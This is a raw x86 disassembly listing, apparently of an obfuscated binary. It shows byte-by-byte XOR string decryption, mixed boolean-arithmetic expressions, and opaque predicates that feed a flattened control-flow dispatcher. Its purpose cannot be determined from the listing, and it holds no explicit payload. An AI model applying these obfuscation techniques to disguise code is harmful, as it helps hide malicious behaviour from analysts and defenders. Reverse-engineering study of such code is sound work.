mov cl, byte [0x101cf79d]
xor cl, 0x23
mov byte [0x101cf7af], cl
mov cl, byte [0x101cf79e]
xor cl, 0x95
mov byte [0x101cf7b0], cl
mov cl, byte [str.ko]
xor cl, 0x2a
mov byte [0x101cf7b1], cl
mov dl, byte [0x101cf7cf]
mov cl, dl
xor cl, 0xff
and cl, 0x3d
mov ch, 0xff
xor ch, 0x3d
and dl, ch
or cl, dl
mov byte [str.t_rMI], cl
mov cl, byte [0x101cf7d0]
xor cl, 0x32
mov byte [0x101cf7d5], cl
mov dl, byte [0x101cf7d1]
mov cl, dl
xor cl, 0xff
and cl, 0xaa
mov ch, 0xff
xor ch, 0xaa
and dl, ch
or cl, dl
mov byte [0x101cf7d6], cl
mov dl, byte [0x101cf7d2]
mov cl, dl
xor cl, 0xff
mov ch, dl
xor ch, 0xff
and cl, ch
mov ch, 0xa7
or ch, 0xa7
xor ch, 0xff
xor cl, 0xff
xor ch, 0xff
and cl, ch
or dl, 0xa7
xor dl, 0xff
xor cl, 0xff
xor dl, 0xff
and cl, dl
mov byte [0x101cf7d7], cl
mov dl, byte [0x101cf7d3]
mov cl, dl
xor cl, 0xff
and cl, 0xc6
mov ch, 0xff
xor ch, 0xc6
and dl, ch
or cl, dl
mov byte [0x101cf7d8], cl
mov cl, byte [0x101cf888]
xor cl, 0x5d
mov byte [0x101cf893], cl
mov cl, byte [0x101cf889]
xor cl, 0xbc
mov byte [0x101cf894], cl
mov dl, byte [0x101cf88a]
mov cl, dl
xor cl, 0xff
mov ch, dl
xor ch, 0xff
and cl, ch
mov ch, 0xda
or ch, 0xda
xor ch, 0xff
or cl, ch
xor cl, 0xff
xor dl, 0xff
mov ch, 0xff
xor ch, 0xda
and dl, ch
xor cl, 0xff
xor dl, 0xff
and cl, dl
mov byte [0x101cf895], cl
mov cl, byte [0x101cf88b]
mov dl, cl
xor dl, 0xba
xor dl, 0xff
and dl, 0xba
shl dl, 1
sub dl, 0xba
sub cl, dl
mov byte [0x101cf896], cl
mov dl, byte [0x101cf88c]
mov cl, dl
xor cl, 0xff
mov ch, dl
xor ch, 0xff
or cl, ch
xor cl, 0xff
mov ch, 0xff
xor ch, 0x89
or cl, ch
mov ch, 0xff
xor ch, 0x89
mov dh, 0xff
xor dh, 0x89
or ch, dh
xor dl, 0xff
xor ch, 0xff
or dl, ch
xor cl, 0xff
xor dl, 0xff
or cl, dl
mov byte [0x101cf897], cl
mov cl, byte [0x101cf88d]
xor cl, 0x2a
mov byte [str.hLrP], cl
mov cl, byte [0x101cf88e]
xor cl, 0x9b
mov byte [0x101cf899], cl
mov dh, byte [0x101cf88f]
mov cl, dh
xor cl, 0xff
and cl, 0x8e
mov ch, 0xff
xor ch, 0x8e
and dh, ch
mov dl, 0xff
xor dl, 0x7b
and dl, 0x8e
and ch, 0x7b
or cl, dh
or dl, ch
xor cl, dl
mov byte [0x101cf89b], cl
mov cl, byte [0x101cf890]
mov dl, cl
xor dl, 0x5c
xor dl, 0xff
and dl, 0x5c
shl dl, 1
sub dl, 0x5c
sub cl, dl
mov byte [0x101cf89c], cl
mov cl, byte [0x101cf891]
xor cl, 0x35
mov byte [0x101cf89e], cl
mov dl, byte [0x101cf892]
mov cl, dl
and cl, cl
xor cl, 0xff
xor cl, 0xff
mov ch, 0xff
xor ch, 0xe7
or cl, ch
mov ch, 0xe7
and ch, 0xe7
xor ch, 0xff
and dl, ch
xor dl, 0xff
and cl, dl
xor cl, 0xff
mov byte [0x101cf89f], cl
mov cl, byte [0x101cf849]
xor cl, 0xda
mov byte [0x101cf850], cl
mov dl, byte [0x101cf84a]
mov cl, dl
and cl, cl
xor cl, 0xff
and cl, 0x2c
xor cl, 0xff
mov ch, 0xff
xor ch, 0x2c
mov dh, 0xff
xor dh, 0x2c
or ch, dh
and dl, ch
xor dl, 0xff
xor cl, 0xff
xor dl, 0xff
or cl, dl
mov byte [0x101cf851], cl
mov dh, byte [0x101cf84b]
mov cl, dh
xor cl, 0xff
and cl, 0x80
mov ch, 0xff
xor ch, 0x80
and dh, ch
mov dl, 0xff
xor dl, 0x85
and dl, 0x80
and ch, 0x85
or cl, dh
or dl, ch
xor cl, dl
mov byte [0x101cf852], cl
mov cl, byte [0x101cf84c]
xor cl, 0x16
mov byte [str.2eri], cl
mov dl, byte [0x101cf84d]
mov cl, dl
xor cl, 0xff
and cl, 0xf8
mov ch, 0xff
xor ch, 0xf8
and dl, ch
or cl, dl
mov byte [0x101cf857], cl
mov cl, byte [0x101cf84e]
xor cl, 0x35
mov byte [0x101cf858], cl
mov cl, byte [0x101cf84f]
mov dl, cl
xor dl, 0x11
xor dl, 0xff
and dl, 0x11
shl dl, 1
sub dl, 0x11
sub cl, dl
mov byte [str.V_HX], cl
mov dh, byte [0x101cf85a]
mov cl, dh
xor cl, 0xff
and cl, 0xc
mov ch, 0xff
xor ch, 0xc
and dh, ch
mov dl, 0xff
xor dl, 0x77
and dl, 0xc
and ch, 0x77
or cl, dh
or dl, ch
xor cl, dl
mov byte [0x101cf867], cl
mov cl, byte [0x101cf85b]
xor cl, 0x29
mov byte [0x101cf868], cl
mov cl, byte [0x101cf85c]
xor cl, 0x2e
mov byte [0x101cf869], cl
mov dl, byte [0x101cf85d]
mov cl, dl
and cl, cl
xor cl, 0xff
xor cl, 0xff
mov ch, 0xff
xor ch, 0xa0
or cl, ch
mov ch, 0xa0
and ch, 0xa0
xor ch, 0xff
xor dl, 0xff
xor ch, 0xff
or dl, ch
xor cl, 0xff
xor dl, 0xff
or cl, dl
mov byte [0x101cf86a], cl
mov cl, byte [0x101cf85e]
xor cl, 0x13
mov byte [0x101cf86b], cl
mov cl, byte [0x101cf85f]
xor cl, 0x1b
mov byte [0x101cf86c], cl
mov cl, byte [0x101cf860]
xor cl, 0xe1
mov byte [0x101cf86d], cl
mov cl, byte [0x101cf861]
xor cl, 0xf3
mov byte [0x101cf86e], cl
mov dh, byte [0x101cf862]
mov cl, dh
xor cl, 0xff
and cl, 0x51
mov ch, 0xff
xor ch, 0x51
and dh, ch
mov dl, 0xff
xor dl, 0x22
and dl, 0x51
and ch, 0x22
or cl, dh
or dl, ch
xor cl, dl
mov byte [0x101cf86f], cl
mov cl, byte [0x101cf863]
mov dl, cl
xor dl, 0xb6
xor dl, 0xff
and dl, 0xb6
shl dl, 1
sub dl, 0xb6
sub cl, dl
mov byte [0x101cf870], cl
mov cl, byte [0x101cf864]
mov dl, cl
and dl, 0x88
shl dl, 1
add cl, 0x88
sub cl, dl
mov byte [0x101cf871], cl
mov cl, byte [0x101cf865]
xor cl, 0x2e
mov byte [0x101cf872], cl
mov cl, byte [0x101cf866]
mov dl, cl
and dl, 0x2a
shl dl, 1
add cl, 0x2a
sub cl, dl
mov byte [0x101cf873], cl
mov cl, byte [0x101cf7b2]
xor cl, 0x25
mov byte [0x101cf7c0], cl
mov dh, byte [0x101cf7b3]
mov cl, dh
xor cl, 0xff
and cl, 0x76
mov ch, 0xff
xor ch, 0x76
and dh, ch
mov dl, 0xff
xor dl, 0x69
and dl, 0x76
and ch, 0x69
or cl, dh
or dl, ch
xor cl, dl
mov byte [0x101cf7c1], cl
mov cl, byte [0x101cf7b4]
xor cl, 0xc3
mov byte [0x101cf7c2], cl
mov dl, byte [0x101cf7b5]
mov cl, dl
xor cl, 0xff
and cl, 0x8a
mov ch, 0xff
xor ch, 0x8a
and dl, ch
or cl, dl
mov byte [0x101cf7c3], cl
mov cl, byte [0x101cf7b6]
xor cl, 0x5c
mov byte [0x101cf7c4], cl
mov cl, byte [0x101cf7b7]
xor cl, 0x48
mov byte [0x101cf7c5], cl
mov cl, byte [0x101cf7b8]
xor cl, 0x9a
mov byte [0x101cf7c6], cl
mov cl, byte [0x101cf7b9]
xor cl, 0x8c
mov byte [0x101cf7c7], cl
mov cl, byte [0x101cf7ba]
mov dl, cl
xor dl, 4
xor dl, 0xff
and dl, 4
shl dl, 1
sub dl, 4
sub cl, dl
mov byte [0x101cf7c8], cl
mov dh, byte [0x101cf7bb]
mov cl, dh
xor cl, 0xff
and cl, 0x25
mov ch, 0xff
xor ch, 0x25
and dh, ch
mov dl, 0xff
xor dl, 0x7f
and dl, 0x25
and ch, 0x7f
or cl, dh
or dl, ch
xor cl, dl
mov byte [0x101cf7c9], cl
mov cl, byte [0x101cf7bc]
xor cl, 0xe6
mov byte [0x101cf7ca], cl
mov dh, byte [0x101cf7bd]
mov cl, dh
xor cl, 0xff
and cl, 0xbc
mov ch, 0xff
xor ch, 0xbc
and dh, ch
mov dl, 0xff
xor dl, 0xcc
and dl, 0xbc
and ch, 0xcc
or cl, dh
or dl, ch
xor cl, dl
mov byte [0x101cf7cd], cl
mov cl, byte [str._H_t]
xor cl, 0x29
mov byte [0x101cf7ce], cl
mov cl, byte [0x101cf810]
mov dl, cl
xor dl, 0x72
xor dl, 0xff
and dl, 0x72
shl dl, 1
sub dl, 0x72
sub cl, dl
mov byte [0x101cf831], cl
mov cl, byte [0x101cf811]
xor cl, 0x77
mov byte [0x101cf834], cl
mov dl, byte [0x101cf812]
mov cl, dl
xor cl, 0xff
mov ch, dl
xor ch, 0xff
or cl, ch
xor cl, 0xff
mov ch, 0xff
xor ch, 0x90
or cl, ch
mov ch, 0x90
and ch, 0x90
xor ch, 0xff
and dl, ch
xor dl, 0xff
and cl, dl
xor cl, 0xff
mov byte [0x101cf835], cl
mov cl, byte [0x101cf813]
xor cl, 0x55
mov byte [0x101cf836], cl
mov cl, byte [0x101cf814]
mov dl, cl
xor dl, 0x1b
xor dl, 0xff
and dl, 0x1b
shl dl, 1
sub dl, 0x1b
sub cl, dl
mov byte [0x101cf837], cl
mov cl, byte [0x101cf815]
xor cl, 0xef
mov byte [0x101cf839], cl
mov cl, byte [0x101cf816]
xor cl, 0x34
mov byte [0x101cf83a], cl
mov dl, byte [0x101cf817]
mov cl, dl
xor cl, 0xff
mov ch, dl
xor ch, 0xff
and cl, ch
mov ch, 0xff
xor ch, 0xe7
mov dh, 0xff
xor dh, 0xe7
and ch, dh
or cl, ch
xor cl, 0xff
xor dl, 0xff
mov ch, 0xff
xor ch, 0xe7
and dl, ch
or cl, dl
xor cl, 0xff
mov byte [0x101cf83b], cl
mov dh, byte [0x101cf818]
mov cl, dh
xor cl, 0xff
and cl, 0x72
mov ch, 0xff
xor ch, 0x72
and dh, ch
mov dl, 0xff
xor dl, 0x26
and dl, 0x72
and ch, 0x26
or cl, dh
or dl, ch
xor cl, dl
mov byte [0x101cf83c], cl
mov cl, byte [0x101cf819]
xor cl, 0x9b
mov byte [0x101cf83d], cl
mov cl, byte [0x101cf81a]
mov dl, cl
xor dl, 0x54
xor dl, 0xff
and dl, 0x54
shl dl, 1
sub dl, 0x54
sub cl, dl
mov byte [0x101cf83e], cl
mov cl, byte [0x101cf81b]
xor cl, 0x4f
mov byte [0x101cf83f], cl
mov dl, byte [0x101cf81c]
mov cl, dl
xor cl, 0xff
and cl, 0xc6
mov ch, 0xff
xor ch, 0xc6
and dl, ch
or cl, dl
mov byte [0x101cf840], cl
mov dl, byte [0x101cf81d]
mov cl, dl
or cl, cl
xor cl, 0xff
mov ch, 0xd5
or ch, 0xd5
xor ch, 0xff
xor cl, 0xff
xor ch, 0xff
and cl, ch
xor dl, 0xff
mov ch, 0xff
xor ch, 0xd5
and dl, ch
or cl, dl
xor cl, 0xff
mov byte [0x101cf842], cl
mov cl, byte [0x101cf81e]
xor cl, 0xde
mov byte [0x101cf843], cl
mov cl, byte [0x101cf81f]
xor cl, 0xfd
mov byte [0x101cf844], cl
mov cl, byte [0x101cf820]
xor cl, 0x12
mov byte [0x101cf845], cl
mov cl, byte [0x101cf821]
xor cl, 0x6f
mov byte [0x101cf846], cl
mov dh, byte [0x101cf822]
mov cl, dh
xor cl, 0xff
and cl, 0x30
mov ch, 0xff
xor ch, 0x30
and dh, ch
mov dl, 0xff
xor dl, 0x75
and dl, 0x30
and ch, 0x75
or cl, dh
or dl, ch
xor cl, dl
mov byte [0x101cf848], cl
mov cl, byte [0x101cf874]
xor cl, 0xa3
mov byte [0x101cf87e], cl
mov cl, byte [0x101cf875]
xor cl, 0x1a
mov byte [0x101cf87f], cl
mov cl, byte [0x101cf876]
xor cl, 0xad
mov byte [0x101cf880], cl
mov dl, byte [0x101cf877]
mov cl, dl
xor cl, 0xff
mov ch, dl
xor ch, 0xff
or cl, ch
and cl, 0x6a
xor cl, 0xff
mov ch, 0xff
xor ch, 0x6a
mov dh, 0xff
xor dh, 0x6a
or ch, dh
xor dl, 0xff
xor ch, 0xff
or dl, ch
xor cl, 0xff
xor dl, 0xff
or cl, dl
mov byte [0x101cf881], cl
mov cl, byte [0x101cf878]
mov dl, cl
xor dl, 0xf
xor dl, 0xff
and dl, 0xf
shl dl, 1
sub dl, 0xf
sub cl, dl
mov byte [0x101cf882], cl
mov cl, byte [0x101cf879]
xor cl, 0xd
mov byte [0x101cf883], cl
mov cl, byte [0x101cf87a]
xor cl, 0x92
mov byte [0x101cf884], cl
mov cl, byte [0x101cf87b]
xor cl, 0x38
mov byte [0x101cf885], cl
mov cl, byte [0x101cf87c]
xor cl, 0x99
mov byte [0x101cf886], cl
mov dh, byte [0x101cf87d]
mov cl, dh
xor cl, 0xff
and cl, 0xbc
mov ch, 0xff
xor ch, 0xbc
and dh, ch
mov dl, 0xff
xor dl, 0x1f
and dl, 0xbc
and ch, 0x1f
or cl, dh
or dl, ch
xor cl, dl
mov byte [0x101cf887], cl
mov cl, byte [0x101cf7d9]
xor cl, 0xc7
mov byte [0x101cf7e1], cl
mov cl, byte [0x101cf7da]
xor cl, 0x1e
mov byte [0x101cf7e2], cl
mov cl, byte [0x101cf7db]
xor cl, 0xfb
mov byte [0x101cf7e4], cl
mov cl, byte [0x101cf7dc]
xor cl, 0xce
mov byte [0x101cf7e6], cl
mov dl, byte [0x101cf7dd]
mov cl, dl
xor cl, 0xff
mov ch, dl
xor ch, 0xff
and cl, ch
mov ch, 0xb7
or ch, 0xb7
xor ch, 0xff
xor cl, 0xff
xor ch, 0xff
and cl, ch
or dl, 0xb7
xor dl, 0xff
or cl, dl
xor cl, 0xff
mov byte [0x101cf7e7], cl
mov dh, byte [0x101cf7de]
mov cl, dh
xor cl, 0xff
and cl, 0x28
mov ch, 0xff
xor ch, 0x28
and dh, ch
mov dl, 0xff
xor dl, 0xa8
and dl, 0x28
and ch, 0xa8
or cl, dh
or dl, ch
xor cl, dl
mov byte [0x101cf7e9], cl
mov cl, byte [0x101cf7df]
xor cl, 0xfd
mov byte [0x101cf7eb], cl
mov cl, byte [0x101cf7e0]
mov dl, cl
xor dl, 0xf6
xor dl, 0xff
and dl, 0xf6
shl dl, 1
sub dl, 0xf6
sub cl, dl
mov byte [0x101cf7ec], cl
mov cl, byte [0x101cf7ed]
mov dl, cl
and dl, 0xbc
shl dl, 1
add cl, 0xbc
sub cl, dl
mov byte [0x101cf7f9], cl
mov cl, byte [0x101cf7ee]
mov dl, cl
and dl, 0xef
shl dl, 1
add cl, 0xef
sub cl, dl
mov byte [0x101cf7fa], cl
mov cl, byte [0x101cf7ef]
xor cl, 0xe9
mov byte [0x101cf7fc], cl
mov cl, byte [0x101cf7f0]
xor cl, 0x8f
mov byte [0x101cf7fd], cl
mov dh, byte [0x101cf7f1]
mov cl, dh
xor cl, 0xff
and cl, 0xd7
mov ch, 0xff
xor ch, 0xd7
and dh, ch
mov dl, 0xff
xor dl, 0x1c
and dl, 0xd7
and ch, 0x1c
or cl, dh
or dl, ch
xor cl, dl
mov byte [0x101cf7fe], cl
mov cl, byte [0x101cf7f2]
xor cl, 0x63
mov byte [0x101cf7ff], cl
mov cl, byte [0x101cf7f3]
xor cl, 0xe6
mov byte [0x101cf800], cl
mov dl, byte [0x101cf7f4]
mov cl, dl
and cl, cl
xor cl, 0xff
xor cl, 0xff
mov ch, 0xff
xor ch, 0x6f
or cl, ch
mov ch, 0xff
xor ch, 0x6f
mov dh, 0xff
xor dh, 0x6f
or ch, dh
and dl, ch
xor dl, 0xff
xor cl, 0xff
xor dl, 0xff
or cl, dl
mov byte [0x101cf801], cl
mov dl, byte [0x101cf7f5]
mov cl, dl
xor cl, 0xff
mov ch, dl
xor ch, 0xff
and cl, ch
mov ch, 0xff
xor ch, 0x4c
mov dh, 0xff
xor dh, 0x4c
and ch, dh
xor cl, 0xff
xor ch, 0xff
and cl, ch
xor dl, 0xff
mov ch, 0xff
xor ch, 0x4c
and dl, ch
or cl, dl
xor cl, 0xff
mov byte [0x101cf802], cl
mov cl, byte [0x101cf7f6]
xor cl, 0x46
mov byte [0x101cf803], cl
mov cl, byte [0x101cf7f7]
mov dl, cl
and dl, 0x58
shl dl, 1
add cl, 0x58
sub cl, dl
mov byte [0x101cf804], cl
mov dl, byte [str.dXiw]
mov cl, dl
xor cl, 0xff
and cl, 0x64
mov ch, 0xff
xor ch, 0x64
and dl, ch
or cl, dl
mov byte [0x101cf806], cl
mov ecx, 0xdcf099a3
mov edx, 0x8f40bcbb
cmp esi, 0x4e619c53
cmovae ecx, edx
mov dword [eax], ecx
jmp 0x1010b712
mov eax, dword [0x101d1d40]
mov esi, dword [0x101d1d44]
mov edi, esi
xor edi, 0xffffffff
mov edx, eax
and edx, edi
mov ecx, eax
or ecx, edi
xor ecx, 0xffffffff
imul ecx, edx
mov edx, eax
and edx, esi
or eax, esi
imul eax, edx
add eax, ecx
sub eax, 0xe86cfc14
imul eax, eax, 0x829fd3df
or eax, 0x7582330e
and eax, 0x60cbaba6
and eax, 0x8213e1b8
mov ecx, eax
xor ecx, 0xffffffff
mov dword [ebp - 0x50], ecx
mov esi, 0xffffffff
xor esi, 0x2d9f855f
mov edx, 0xffffffff
xor edx, 0x67b9664a
and ecx, 0x67b9664a
and eax, edx
mov edi, esi
and edi, 0x67b9664a
mov ebx, edx
and ebx, 0x2d9f855f
or ecx, eax
mov eax, dword [ebp - 0x50]
or edi, ebx
xor ecx, edi
or eax, esi
xor eax, 0xffffffff
or edx, 0x67b9664a
and eax, edx
or ecx, eax
mov eax, ecx
and eax, 0xba7164f5
xor eax, 0xffffffff
add ecx, 0xba7164f5
add ecx, 1
add ecx, eax
mov eax, ecx
and eax, 0xe594ab8e
xor ecx, 0xe594ab8e
or eax, ecx
mov esi, 0xffffffff
xor esi, 0x43e82602
mov edx, eax
and edx, esi
mov ecx, eax
or ecx, esi
xor ecx, 0xffffffff
imul ecx, edx
mov edx, eax
and edx, 0x43e82602
or eax, 0x43e82602
imul eax, edx
add eax, ecx
mov ecx, 0x5a2801cb
xor edx, edx
div ecx
sub eax, 0x5e5676ea
mov edx, 0xffffffff
xor edx, 0xc2a928c2
mov ecx, eax
xor ecx, edx
and ecx, eax
mov eax, ecx
xor eax, 0xffffffff
mov dword [ebp - 0x4c], eax
mov esi, 0xffffffff
xor esi, 0x49d76e77
mov edx, 0xffffffff
xor edx, 0x587461a7
and eax, 0x587461a7
and ecx, edx
mov edi, esi
and edi, 0x587461a7
mov ebx, edx
and ebx, 0x49d76e77
or eax, ecx
mov ecx, dword [ebp - 0x4c]
or edi, ebx
xor eax, edi
or ecx, esi
xor ecx, 0xffffffff
or edx, 0x587461a7
and ecx, edx
or eax, ecx
mov ecx, eax
xor ecx, 0x15cf599a
xor ecx, 0xffffffff
or eax, 0x15cf599a
and eax, ecx
xor eax, 0x5adb5232
or eax, 0xd95ef604
xor eax, 0x9641c9fd
xor eax, 0xfa5d5fdc
mov ecx, eax
and ecx, 0x1c5df367
shl ecx, 1
xor eax, 0x1c5df367
add eax, ecx
xor eax, 0xffffffff
mov edx, 0xffffffff
xor edx, 0x1170ecd2
mov ecx, 0xffffffff
xor ecx, 0xdbb93387
or eax, edx
or ecx, 0xdbb93387
xor eax, 0xffffffff
and eax, ecx
or eax, 0xcff1e7e6
xor eax, 0xffffffff
mov edx, 0xffffffff
xor edx, 0x811a8a0f
mov ecx, 0xffffffff
xor ecx, 0x42bfab61
or eax, edx
or ecx, 0x42bfab61
xor eax, 0xffffffff
and eax, ecx
sub eax, 0x828f1726
add eax, 0xe5d7c482
add eax, 0x828f1726
mov ecx, 0xd6956482
xor edx, edx
div ecx
or eax, 0xc5c6a084
mov ecx, eax
xor ecx, 0xa8080ceb
mov edx, 0xffffffff
xor edx, 0xa8080ceb
and eax, edx
shl eax, 1
sub eax, ecx
xor eax, 0xe474ece5
mov ecx, 0x952c12
xor edx, edx
div ecx
mov ecx, 0x6b4a52d7
xor edx, edx
div ecx
imul eax, eax, 0xa2d1a2c9
mov ecx, eax
xor ecx, 0x9de04046
xor ecx, 0xffffffff
or eax, 0x9de04046
and eax, ecx
mov ecx, 0xab11212d
xor edx, edx
div ecx
mov ecx, 0x9a89f42f
xor edx, edx
div ecx
add eax, 0xf6c7e93e
sub eax, 0x2423400c
sub eax, 0xf6c7e93e
mov ecx, 0x15309410
xor edx, edx
div ecx
imul eax, eax, 0xebeeb3f1
add eax, 0x78b12884
mov ecx, 0xd9781bc1
xor edx, edx
div ecx
and eax, 0xfc917259
mov ecx, 0xd60aa3dc
xor edx, edx
div ecx
mov ecx, eax
mov eax, ecx
and eax, 0xa2ca229
xor ecx, 0xa2ca229
or eax, ecx
sub eax, 0x9767c866
mov esi, 0xffffffff
xor esi, 0x7dd170cd
mov edx, eax
and edx, esi
mov ecx, eax
or ecx, esi
xor ecx, 0xffffffff
imul ecx, edx
mov edx, eax
and edx, 0x7dd170cd
or eax, 0x7dd170cd
imul eax, edx
add eax, ecx
mov ecx, 0xba4a52ba
xor edx, edx
div ecx
mov ecx, eax
mov eax, dword [ebp - 0x1c]
xor ecx, 0x78707ea8
xor ecx, 0xa70009dd
and ecx, 0x4b27dc2f
xor edx, edx
sub edx, 0x88a7329f
sub ecx, edx
and ecx, 0x5187674e
imul esi, ecx, 0x8f433cd1
mov ecx, 0x81945e5
mov edx, 0x30ad6511
cmp esi, 0xf942d5fa
cmova ecx, edx
mov dword [eax], ecx
jmp 0x1010b712
mov eax, dword [0x101d1d48]
mov edx, dword [0x101d1d4c]
mov ecx, eax
and ecx, edx
shl ecx, 1
xor eax, edx
add eax, ecx
mov ecx, 0xed4388c2
xor edx, edx
div ecx
mov ecx, eax
mov eax, ecx
and eax, 0x32ee3f90
xor eax, 0xffffffff
xor ecx, 0xffffffff
mov edx, 0xffffffff
xor edx, 0x32ee3f90
or ecx, edx
xor eax, 0xffffffff
xor ecx, 0xffffffff
or eax, ecx
mov ecx, 0x60c94da6
xor edx, edx
div ecx
xor eax, 0x5cfd60f3
sub eax, 0xe272874f
mov ecx, 0x59f6676
xor edx, edx
div ecx
mov ecx, eax
mov eax, ecx
xor eax, 0xffffffff
and eax, 0x36ca9de8
mov edx, 0xffffffff
xor edx, 0x36ca9de8
and ecx, edx
sub ecx, eax
xor ecx, 0x3c375e2d
mov esi, 0xffffffff
xor esi, 0x9cb6291c
mov edx, ecx
and edx, esi
mov eax, ecx
or eax, esi
xor eax, 0xffffffff
imul eax, edx
mov edx, ecx
and edx, 0x9cb6291c
or ecx, 0x9cb6291c
imul ecx, edx
add ecx, eax
xor eax, eax
sub eax, 0x6eac038b
add ecx, eax
or ecx, 0xf54fc698
and ecx, 0x6013af61
add ecx, 0x9d565a31
or ecx, 0x79090897
mov edx, 0xffffffff
xor edx, 0xb7acc186
mov eax, ecx
xor eax, edx
and eax, ecx
mov ecx, eax
xor ecx, 0xed5a9207
mov edx, 0xffffffff
xor edx, 0xed5a9207
and eax, edx
shl eax, 1
sub eax, ecx
add eax, 0x3e176283
imul ecx, eax, 0xa077a72
xor ecx, 0x68358bf1
mov eax, ecx
and eax, 0x79da843e
xor eax, 0xffffffff
and ecx, 0x79da843e
xor ecx, 0xffffffff
xor eax, 0xffffffff
xor ecx, 0xffffffff
or eax, ecx
and eax, 0x9aca5fb5
xor eax, 0x60bf0318
mov ecx, 0x2ab5cbed
xor edx, edx
div ecx
mov esi, eax
add esi, 0xc17d5510
add esi, 0x18237bfa
add esi, 0xb23d0beb
sub esi, 0x18237bfa
mov eax, esi
xor eax, 0xffffffff
and eax, 0xbaa500d0
mov edx, 0xffffffff
xor edx, 0xbaa500d0
and esi, edx
mov ecx, 0xffffffff
xor ecx, 0x5e3c2999
and ecx, 0xbaa500d0
and edx, 0x5e3c2999
or eax, esi
or ecx, edx
xor eax, ecx
imul ecx, eax, 0x4bcc4ad4
mov eax, ecx
xor eax, 0xffffffff
mov dword [ebp - 0x54], eax
mov esi, 0xffffffff
xor esi, 0xca843afc
mov edx, 0xffffffff
xor edx, 0x41c75011
and eax, 0x41c75011
and ecx, edx
mov edi, esi
and edi, 0x41c75011
mov ebx, edx
and ebx, 0xca843afc
or eax, ecx
mov ecx, dword [ebp - 0x54]
or edi, ebx
xor eax, edi
or ecx, esi
xor ecx, 0xffffffff
or edx, 0x41c75011
and ecx, edx
or eax, ecx
mov ecx, eax
xor ecx, 0xffffffff
and ecx, 0x3832f313
mov edx, 0xffffffff
xor edx, 0x3832f313
and eax, edx
sub eax, ecx
add eax, 0x2c27d077
mov ecx, 0x7f60d95f
xor edx, edx
div ecx
mov ecx, 0x5088cf60
xor edx, edx
div ecx
or eax, 0x49d19aaf
mov ecx, eax
xor ecx, 0xffffffff
and ecx, 0x613bc4ab
mov edx, 0xffffffff
xor edx, 0x613bc4ab
and eax, edx
sub eax, ecx
mov ecx, 0x53bb29b
xor edx, edx
div ecx
mov ecx, 0x6ed1e56b
xor edx, edx
div ecx
or eax, 0xa9534882
xor eax, 0x2b2a242b
mov ecx, eax
xor ecx, 0x22345c4f
xor ecx, 0xffffffff
or eax, 0x22345c4f
and eax, ecx
mov ecx, 0x31ff5371
xor edx, edx
div ecx
add eax, 0x64b3f579
mov ecx, eax
xor ecx, 0xffffffff
and ecx, 0x58e3086
mov edx, 0xffffffff
xor edx, 0x58e3086
and eax, edx
sub eax, ecx
xor eax, 0x5f3c9f1b
mov ecx, 0x4bb952e8
xor edx, edx
div ecx
mov ecx, eax
mov eax, dword [ebp - 0x1c]
mov edx, ecx
xor edx, 0xffffffff
xor ecx, 0xffffffff
and edx, ecx
mov ecx, 0xffffffff
xor ecx, 0xe73374f4
mov esi, 0xffffffff
xor esi, 0xe73374f4
and ecx, esi
xor edx, 0xffffffff
xor ecx, 0xffffffff
and edx, ecx
or edx, 0xe18dbb2a
mov esi, 0xffffffff
xor esi, 0xdba8ffba
mov ecx, edx
xor ecx, esi
and ecx, edx
add ecx, 0x33de5d84
mov esi, ecx
xor esi, 0xffffffff
mov edx, 0xffffffff
xor edx, 0x464a133b
or esi, edx
xor ecx, 0xffffffff
mov edx, 0xffffffff
xor edx, 0x464a133b
or ecx, edx
xor esi, 0xffffffff
xor ecx, 0xffffffff
or esi, ecx
sub esi, 0x7330adf0
mov ecx, 0x33b23f9a
mov edx, 0x238a4ee0
cmp esi, 0x922ff2ea
cmova ecx, edx
mov dword [eax], ecx
jmp 0x1010b712
mov eax, dword [0x101d1d50]
imul eax, dword [0x101d1d54]
xor eax, 0xdbf129d6
imul ecx, eax, 0x81749ed1
add ecx, 0x9d58ef18
mov eax, ecx
xor eax, 0xffffffff
and eax, 0xa741f6fd
mov edx, 0xffffffff
xor edx, 0xa741f6fd
and ecx, edx
or eax, ecx
mov edx, 0xffffffff
xor edx, 0xb98dbe83
mov ecx, eax
xor ecx, edx
and ecx, eax
mov eax, ecx
xor eax, 0xffffffff
and eax, 0x6bbb0b8b
mov edx, 0xffffffff
xor edx, 0x6bbb0b8b
and ecx, edx
or eax, ecx
imul eax, eax, 0xfe07c265
mov esi, 0xffffffff
xor esi, 0x347c8692
mov edx, eax
and edx, esi
mov ecx, eax
or ecx, esi
xor ecx, 0xffffffff
imul ecx, edx
mov edx, eax
and edx, 0x347c8692
or eax, 0x347c8692
imul eax, edx
add eax, ecx
sub eax, 0xec835aa9
mov ecx, eax
xor ecx, 0xffffffff
xor eax, 0xffffffff
or ecx, eax
mov eax, 0xffffffff
xor eax, 0x2786ece4
mov edx, 0xffffffff
xor edx, 0x2786ece4
or eax, edx
xor ecx, 0xffffffff
xor eax, 0xffffffff
or ecx, eax
mov eax, ecx
xor eax, 0xffffffff
xor ecx, 0xffffffff
or eax, ecx
mov ecx, 0xffffffff
xor ecx, 0xf7904636
mov edx, 0xffffffff
xor edx, 0xf7904636
or ecx, edx
xor eax, 0xffffffff
xor ecx, 0xffffffff
or eax, ecx
imul eax, eax, 0x8bcf17c1
xor ecx, ecx
sub ecx, 0xd7123bf2
sub eax, ecx
sub eax, 0x12279a2
mov ecx, 0x81918bf4
xor edx, edx
div ecx
mov ecx, 0x3dc8644a
xor edx, edx
div ecx
and eax, 0x55ae9dce
mov ecx, 0x45116c41
xor edx, edx
div ecx
mov esi, 0xffffffff
xor esi, 0xa42e0d66
mov edx, eax
and edx, esi
mov ecx, eax
or ecx, esi
xor ecx, 0xffffffff
imul ecx, edx
mov edx, eax
and edx, 0xa42e0d66
or eax, 0xa42e0d66
imul eax, edx
add eax, ecx
sub eax, 0xc0952887
add eax, 0x319a292f
sub eax, 0xf09b4291
sub eax, 0x319a292f
sub eax, 0x4904b82f
mov edx, eax
xor edx, 0xffffffff
and edx, 0x13e7a201
mov esi, 0xffffffff
xor esi, 0x13e7a201
mov ecx, eax
and ecx, esi
imul ecx, edx
mov edx, eax
and edx, 0x13e7a201
or eax, 0x13e7a201
imul eax, edx
add eax, ecx
or eax, 0xd6d6fc69
mov esi, eax
and esi, 0x65c345e
or eax, 0x65c345e
add esi, eax
mov eax, esi
xor eax, 0xffffffff
and eax, 0xf981280d
mov edx, 0xffffffff
xor edx, 0xf981280d
and esi, edx
mov ecx, 0xffffffff
xor ecx, 0x89a6795e
and ecx, 0xf981280d
and edx, 0x89a6795e
or eax, esi
or ecx, edx
xor eax, ecx
